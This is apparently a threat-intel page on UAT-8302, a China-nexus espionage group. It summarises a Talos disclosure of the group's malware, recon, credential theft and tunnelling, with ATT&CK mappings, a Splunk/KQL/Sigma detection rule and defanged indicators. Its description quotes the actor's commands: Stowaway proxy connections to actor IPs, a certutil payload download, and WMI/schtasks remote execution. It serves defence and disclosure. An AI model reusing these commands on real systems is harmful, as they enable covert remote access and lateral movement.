# UAT-8302 China-Nexus APT Campaign — NetDraft, CloudSorcerer v3, VSHELL/SNOWLIGHT, SNOWRUST, SNAPPYBEE/DeedRAT, ZingDoor, and Draculoader Targeting Government Entities in South America and Southeastern Europe

> Cisco Talos disclosed UAT-8302, a sophisticated China-nexus APT targeting government entities in South America since at least late 2024 and government agencies in southeastern Europe in 2025. The actor deploys a portfolio of custom-made malware shared with multiple known China-nexus clusters — NetDraft (a .NET FinalDraft/SquidDoor variant a.k.a. NosyDoor), CloudSorcerer v3, VSHELL with SNOWLIGHT stager and a new Rust-based SNOWRUST stager, SNAPPYBEE/DeedRAT, ZingDoor, and Draculoader — alongside open-source Chinese-language tooling (gogo, QScan, naabu, dddd, Stowaway, MobaXtermDecryptor, SharpGetUserLoginIPRP) for reconnaissance, credential extraction, lateral movement, and proxying.

- **Published:** 2026-05-05T23:00:00Z
- **Last reviewed:** 2026-05-05T23:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0462
- **Card image:** https://intel.threadlinqs.com/og/threat/threat-intel-uat-8302-china-nexus-campaign-tl-2026-0462.webp?v=17303e17 (Threadlinqs threat intel: UAT-8302 NetDraft Backdoor Toolkit: Detection & IOCs (TL-2026-0462) — High severity, 67 IOCs, 9 detection rules.)
- **ID:** TL-2026-0462
- **Severity:** HIGH
- **Category:** APT
- **Status:** ACTIVE
- **Actor:** UAT-8302 (China)
- **Detections:** 9 (1 shown free below) · **IOCs:** 67 (3 shown free below)
- **CVEs:** CVE-2025-0994

## Description

On 5 May 2026, Cisco Talos researchers Jungsoo An, Asheer Malhotra, and Brandon White published a threat-spotlight disclosure of UAT-8302, a China-nexus advanced persistent threat actor primarily tasked with obtaining and maintaining long-term access to government and related entities worldwide. UAT-8302 has been targeting government entities in South America since at least late 2024 and expanded its targeting to government agencies in southeastern Europe in 2025. Talos assesses with high confidence that UAT-8302 is China-nexus based on heavy malware-portfolio overlap with multiple previously disclosed China-nexus clusters and the use of custom and open-source tooling written in Simplified Chinese.

Initial access methods are not directly observed in this campaign, but the actor's tooling overlaps with APT clusters known to exploit both zero-day and n-day vulnerabilities (e.g., UAT-6382's exploitation of Cityworks zero-day CVE-2025-0994 to deploy VSHELL via SNOWLIGHT). Once inside, UAT-8302 conducts extensive preliminary reconnaissance using Impacket, certutil, nslookup, net.exe, systeminfo, and ipconfig, then escalates to a custom-made PowerShell script ('whatpc.ps1') persisted via scheduled task (e.g., 'ReconLiteDebug', 'RunWhatPC') executing as SYSTEM. The script enumerates local groups and admin membership, network configuration, listening connections, SMB shares, AD users, computers, groups, and trust relationships via nltest, dsmod, and dsquery. Ping sweeps and SMB share-discovery loops over /24 subnets identify proliferation targets, and event logs (Security IDs such as 4768) are queried for administrator activity. Audit policy is enumerated via 'auditpol /get /category:*'. The actor downloads 'gogo' (a GoLang automated network scanner written in Simplified Chinese) directly from its GitHub release URL, alongside QScan, naabu, dddd, PortQry, and httpx.

UAT-8302 collects information using adconnectdump.py for Azure AD Connect / Entra ID Connect credential extraction, manual PowerShell Get-ADUser/Get-ADComputer/Get-ADGroup queries, AD Explorer snapshots packaged with 7zr.exe, and Get-WinEvent log harvests. A Chinese-language tool called 'SharpGetUserLoginIPRP' (deployed as C:\ProgramData\S.exe) extracts login information from domain controllers. MobaXterm credentials are stolen via MobaXtermDecryptor for SSH pivot.

Lateral movement is performed via Impacket and WMI remote process creation ('wmic /node:IP process call create', 'schtasks /S IP'), invoking BAT files that execute the malware on remote systems.

Custom malware deployment uses DLL side-loading triads: a benign signed executable, a malicious DLL loader, and an encoded data file. NetDraft (a .NET-based variant of FinalDraft/SquidDoor; ESET tracks the same family as 'NosyDoor' attributed to LongNosedGoblin; Solar reported NetDraft was used by Erudite Mogwai/LuckyStrike Agent against Russian IT in 2024) embeds a Fody/Costura-compressed .NET helper library Talos tracks as 'FringePorch'. NetDraft uses MS Graph API to communicate with its OneDrive-based C2 and can execute arbitrary commands, run .NET assemblies, perform file operations, and execute .NET plugins. Because NetDraft lacks native persistence, the C2 issues a scheduled-task creation command pointing to 'C:\ProgramData\Microsoft\Microsoft\Appunion.exe'.

CloudSorcerer v3 (an updated version of the malware Kaspersky disclosed in 2024 against Russian government) uses a side-loading triad with executables 'Yandex.exe' and 'VMtools.exe' loading 'mspdb60.dll', which decrypts an INI shellcode file ('test.ini' or 'VM.ini') and injects it into named processes. The shellcode behaves differently per host process: 'dpapimig.exe' gathers system info and listens on a named pipe for commands; 'spoolsv.exe' contacts a GitHub repository or GameSpot profile to obtain C2 information (URL, OneDrive/Dropbox token); 'mspaint.exe' or 'browser' triggers injection back into dpapimig.exe/spoolsv.exe.

VSHELL is delivered via a related triad in which a benign executable side-loads a malicious 'wininet.dll' that reads a BIN file and injects position-independent shellcode into 'explorer.exe'. The shellcode is the SNOWLIGHT stager, which downloads and single-byte XOR-decodes the next stage (key 0x99) — the same single-byte key and stager observed by Talos in UAT-6382's 2025 deliveries. UNC5174 has previously used SNOWLIGHT to download Sliver and VSHELL. UAT-8302 also uses 'SNOWRUST', a Rust-based variant of SNOWLIGHT built on the LexiCrypt Rust shellcode obfuscator that decodes embedded SNOWLIGHT shellcode to download the XOR-encoded VSHELL payload. In one intrusion, UAT-8302 used VSHELL to deploy the System Monitoring filter driver from the Hades open-source HIDS/HIPS framework (written in Simplified Chinese) to register kernel callbacks for process, thread, registry, and file events — enabling event hiding.

In one instance, UAT-8302 deployed SNAPPYBEE/DeedRAT and almost immediately switched to ZingDoor — a DLL-based malware first disclosed by Trend Micro in 2023 and attributed to Earth Estries. ZingDoor has also been observed after ToolShell exploitation in 2025. Draculoader, a generic shellcode loader used by Earth Estries and Earth Naga, was deployed in parallel from 'C:\Documents and Settings\All Users\Microsoft\Crypto\RSA\d3d8.dll'.

For backup access, UAT-8302 sets up Stowaway proxies (a Chinese-language tunneling tool — 'wagent.exe -c 85.209.156.3:56456', 'mmc.exe -l 85.209.156.3:56456 -s <pass>', 'ag531.exe -c 45.135.135.100:443'), anyproxy ('any.exe' in C:\users\public\), and SoftEther VPN clients ('Communicator.exe /usermode' from a Rar-archived bundle staged via certutil from hxxp://38.54.32.244/Rar.exe).

Malware overlap connects UAT-8302 to a web of China-nexus clusters: NetDraft/FinalDraft/Squidoor — Jewelbug/REF7707/CL-STA-0049/LongNosedGoblin; CloudSorcerer — original Kaspersky-disclosed actor; SNOWLIGHT/VSHELL — UAT-6382, UNC5174, UNC6586; SNAPPYBEE/ZingDoor — Earth Estries; Draculoader — Earth Estries and Earth Naga. NetDraft has additionally been observed in operations attributed to Erudite Mogwai (LuckyStrike Agent).

## MITRE ATT&CK

- T1588 Obtain Capabilities
- T1587 Develop Capabilities
- T1190 Exploit Public-Facing Application
- T1059.001 PowerShell
- T1059.003 Windows Command Shell
- T1047 Windows Management Instrumentation
- T1053.005 Scheduled Task
- T1129 Shared Modules
- T1574.001 DLL
- T1055 Process Injection
- T1027 Obfuscated Files or Information
- T1140 Deobfuscate/Decode Files or Information
- T1014 Rootkit
- T1105 Ingress Tool Transfer
- T1003 OS Credential Dumping
- T1555 Credentials from Password Stores
- T1558 Steal or Forge Kerberos Tickets
- T1018 Remote System Discovery
- T1135 Network Share Discovery
- T1087.002 Domain Account
- T1069.002 Domain Groups
- T1082 System Information Discovery
- T1016 System Network Configuration Discovery
- T1049 System Network Connections Discovery
- T1046 Network Service Discovery
- T1482 Domain Trust Discovery
- T1033 System Owner/User Discovery
- T1021.002 SMB/Windows Admin Shares
- T1570 Lateral Tool Transfer
- T1005 Data from Local System
- T1560.001 Archive via Utility
- T1071.001 Web Protocols
- T1102.001 Dead Drop Resolver
- T1102.002 Bidirectional Communication
- T1090 Proxy
- T1572 Protocol Tunneling
- T1132.001 Standard Encoding
- T1559 Inter-Process Communication
- T1567.002 Exfiltration to Cloud Storage
- T1041 Exfiltration Over C2 Channel

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**UAT-8302 whatpc.ps1 Reconnaissance + ReconLiteDebug / RunWhatPC Scheduled Task Persistence (Post-Exploitation)** (`TL-2026-0462-SPL-002`)

Detects the UAT-8302 reconnaissance and persistence chain: scheduled task creation (schtasks /create) for tasks named 'ReconLiteDebug', 'RunWhatPC', or 'Runbat' that invoke PowerShell against C:\Windows\Temp\whatpc.ps1 with -ExecutionPolicy Bypass and -WindowStyle Hidden, OR PowerShell processes executing whatpc.ps1 from C:\Windows\Temp\ as SYSTEM. Maps directly to Cisco Talos disclosure of the UAT-8302 reconnaissance subroutine.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1053.005, T1059.001, T1082, T1016, T1135, T1087.002
- **Data sources:** sysmon, windows_security, windows_powershell, edr_process_creation
- **Severity:** high
- **Confidence:** high

### Splunk SPL

```spl
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 ((Image="*\\schtasks.exe" CommandLine="*/create*" (CommandLine="*ReconLiteDebug*" OR CommandLine="*RunWhatPC*" OR CommandLine="*Runbat*" OR CommandLine="*whatpc.ps1*")) OR (Image="*\\powershell.exe" CommandLine="*whatpc.ps1*" CommandLine="*-ExecutionPolicy*Bypass*" CommandLine="*-WindowStyle*Hidden*") OR (Image="*\\powershell.exe" CommandLine="*\\Windows\\Temp\\whatpc.ps1*")) | eval recon_phase=case(match(CommandLine,"(?i)schtasks.*\/create.*(ReconLiteDebug|RunWhatPC|Runbat)"),"persistence-task-create", match(CommandLine,"(?i)powershell.*whatpc\.ps1"),"recon-script-execution", true(),"unknown") | stats count min(_time) as first_seen max(_time) as last_seen values(User) as users values(ParentImage) as parents values(CommandLine) as command_lines by host, recon_phase | sort - count
```

### Microsoft KQL

```kql
let task_names = dynamic(["ReconLiteDebug","RunWhatPC","Runbat"]); DeviceProcessEvents | where Timestamp > ago(24h) | where (FileName =~ "schtasks.exe" and ProcessCommandLine has "/create" and (ProcessCommandLine has_any (task_names) or ProcessCommandLine has "whatpc.ps1")) or (FileName =~ "powershell.exe" and ProcessCommandLine has "whatpc.ps1" and ProcessCommandLine has "-ExecutionPolicy" and ProcessCommandLine has "Bypass") or (FileName =~ "powershell.exe" and ProcessCommandLine has "\\Windows\\Temp\\whatpc.ps1") | extend recon_phase = case(FileName =~ "schtasks.exe", "persistence-task-create", FileName =~ "powershell.exe", "recon-script-execution", "unknown") | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, recon_phase, ProcessId, ReportId | summarize count(), arg_min(Timestamp, *) by DeviceName, AccountName, recon_phase
```

### Sigma

```yaml
title: UAT-8302 whatpc.ps1 Reconnaissance Script and ReconLiteDebug Scheduled Task Persistence
id: 8302d002-1111-4abc-9002-aaaaaaaaaaab
status: experimental
description: Detects the UAT-8302 reconnaissance/persistence chain - schtasks creation for ReconLiteDebug/RunWhatPC/Runbat tasks calling whatpc.ps1, or PowerShell executing whatpc.ps1 from Windows\Temp with ExecutionPolicy Bypass and Hidden window.
references:
    - https://blog.talosintelligence.com/uat-8302/
author: Threadlinqs Team
date: 2026-05-05
tags:
    - attack.persistence
    - attack.execution
    - attack.discovery
    - attack.t1053.005
    - attack.t1059.001
    - attack.t1082
logsource:
    product: windows
    category: process_creation
detection:
    sel_schtasks:
        Image|endswith: '\schtasks.exe'
        CommandLine|contains: '/create'
        CommandLine|contains:
            - 'ReconLiteDebug'
            - 'RunWhatPC'
            - 'Runbat'
            - 'whatpc.ps1'
    sel_powershell_recon:
        Image|endswith: '\powershell.exe'
        CommandLine|contains|all:
            - 'whatpc.ps1'
            - '-ExecutionPolicy'
            - 'Bypass'
    sel_powershell_temp:
        Image|endswith: '\powershell.exe'
        CommandLine|contains: '\Windows\Temp\whatpc.ps1'
    condition: sel_schtasks or sel_powershell_recon or sel_powershell_temp
falsepositives:
    - Lab simulations using LAB-SIM suffixed task names
    - Internal red-team exercises mirroring UAT-8302 tradecraft
level: high

```

**Known false positives:**

- Red-team simulations using identical task names — filter on lab suffix conventions
- Legitimate IT scripts named whatpc.ps1 in approved environments (rare, recommend renaming)
- Forensic recovery scripts dropped to Windows\Temp by IR staff

**Tuning notes:** Add an exclusion for any internal IT account that legitimately runs reconnaissance scripts named whatpc.ps1. Pair with PowerShell ScriptBlockLogging (Event ID 4104) to capture the actual contents of whatpc.ps1 for high-fidelity validation. Consider building a separate alert when the parent process is svchost.exe or the user is SYSTEM, which strongly indicates scheduled-task execution rather than interactive use.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- UAT-8302 SNOWLIGHT / SNOWRUST XOR-0x99 Stager Drop and Side-Loading Triad File Set (Exploitation) (locked: unlock with TL Creds)
- UAT-8302 NetDraft Microsoft\Windows\Maps GUID Scheduled Task Persistence + Appunion.exe Drop (Post-Exploitation) (locked: unlock with TL Creds)
- UAT-8302 WMI / schtasks Lateral Movement and Impacket-Style Remote Process Creation (C2 / Lateral Movement) (locked: unlock with TL Creds)
- UAT-8302 certutil-Staged Toolkit Download from [indicator] — Rar.exe / SoftEther Bundle (Exploitation / Ingress Tool Transfer) (locked: unlock with TL Creds)
- UAT-8302 Credential Access Tooling — adconnectdump / MobaXtermDecryptor / SharpGetUserLoginIPRP / AD Explorer Snapshot (Post-Exploitation / Credential Theft) (locked: unlock with TL Creds)
- UAT-8302 Backup-Access Tooling — Stowaway / anyproxy / SoftEther VPN with AgreedUponByAllParties Shared Secret (C2 / Proxy) (locked: unlock with TL Creds)
- UAT-8302 DLL Side-Loading Triad — [indicator] / [indicator] / d3d8.dll Loaded From Non-System Paths (Exploitation) (locked: unlock with TL Creds)
- UAT-8302 C2 Domain and IP Egress — drivelivelime / msiidentity / trafficmanagerupdate / Cloudflare workers.dev / Stowaway IPs (C2) (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (3 of 67)

Defanged, TLP:CLEAR.

- IP address: `85.209.156[.]3`
- Domain: `drivelivelime[.]com`
- File hash: `1139b39d3cc151ddd3d574617cf113608127850197e9695fef0b6d78df82d6ca`

Full set of 67 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [UAT-8302 and its box full of malware](https://blog.talosintelligence.com/uat-8302/)
- [Cisco Talos UAT-8302 IOC repository (GitHub)](https://github.com/Cisco-Talos/IOCs)
- [ESET research on LongNosedGoblin / NosyDoor](https://www.welivesecurity.com/)
- [Solar 4RAYS reporting on Erudite Mogwai (LuckyStrike Agent) deployment of NetDraft against Russian IT organizations](https://rt-solar.ru/)
- [Kaspersky CloudSorcerer disclosure (Russian government targeting, 2024)](https://securelist.com/cloudsorcerer-new-apt-cloud-actor/113056/)
- [Trend Micro Earth Estries (DeedRAT/SNAPPYBEE and ZingDoor)](https://www.trendmicro.com/en_us/research/)
- [UAT-6382 Cityworks zero-day (CVE-2025-0994) exploitation deploying VSHELL via SNOWLIGHT (Cisco Talos)](https://blog.talosintelligence.com/)
- [UNC5174 SNOWLIGHT / Sliver / VSHELL activity (Mandiant/Google TIG)](https://cloud.google.com/blog/topics/threat-intelligence)
- [ChainReactors gogo scanner (Simplified Chinese network scanner)](https://github.com/chainreactors/gogo)
- [Hades HIDS/HIPS open-source Windows host monitoring kernel framework (Simplified Chinese)](https://github.com/)
- [Fody/Costura .NET embedding framework (used by NetDraft for FringePorch)](https://github.com/Fody/Costura)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0462
